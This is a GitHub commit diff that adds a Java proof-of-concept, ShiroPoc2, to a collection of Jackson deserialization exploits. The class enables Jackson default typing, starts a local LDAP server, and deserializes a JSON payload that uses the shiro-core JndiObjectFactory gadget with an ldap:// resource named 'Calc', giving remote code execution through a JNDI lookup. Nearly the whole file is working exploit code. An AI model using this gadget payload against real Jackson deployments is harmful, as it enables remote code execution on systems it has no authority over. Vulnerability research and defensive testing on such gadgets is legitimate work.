File tree Expand file tree Collapse file tree 1 file changed +39
-0
lines changed
jackson/src/main/java/com/threedr3am/bug/jackson/rce Expand file tree Collapse file tree 1 file changed +39
-0
lines changed Original file line number Diff line number Diff line change 1+ package com .threedr3am .bug .jackson .rce ;
2+
3+ import com .fasterxml .jackson .databind .ObjectMapper ;
4+ import com .threedr3am .bug .common .server .LdapServer ;
5+ import java .io .IOException ;
6+
7+ /**
8+ * 比较鸡肋,需要调用writeValueAsString才能触发
9+ *
10+ * shiro-core gadget
11+ *
12+ * <dependency>
13+ * <groupId>org.apache.shiro</groupId>
14+ * <artifactId>shiro-core</artifactId>
15+ * </dependency>
16+ *
17+ * @author threedr3am
18+ */
19+ public class ShiroPoc2 {
20+
21+ static {
22+ //rmi server示例
23+ // RmiServer.run();
24+
25+ //ldap server示例
26+ LdapServer .run ();
27+ }
28+
29+ public static void main (String [] args ) throws IOException {
30+ ObjectMapper mapper = new ObjectMapper ();
31+ mapper .enableDefaultTyping ();
32+
33+ String json = "[\" org.apache.shiro.jndi.JndiObjectFactory\" , {\" resourceName\" : \" ldap://localhost:43658/Calc\" }]" ;
34+ Object o = mapper .readValue (json , Object .class );
35+ mapper .writeValueAsString (o );
36+ }
37+
38+
39+ }
You can’t perform that action at this time.
0 commit comments